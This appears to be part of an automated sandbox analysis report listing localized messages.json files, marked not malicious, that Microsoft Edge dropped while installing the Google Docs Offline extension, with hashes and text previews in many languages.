Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
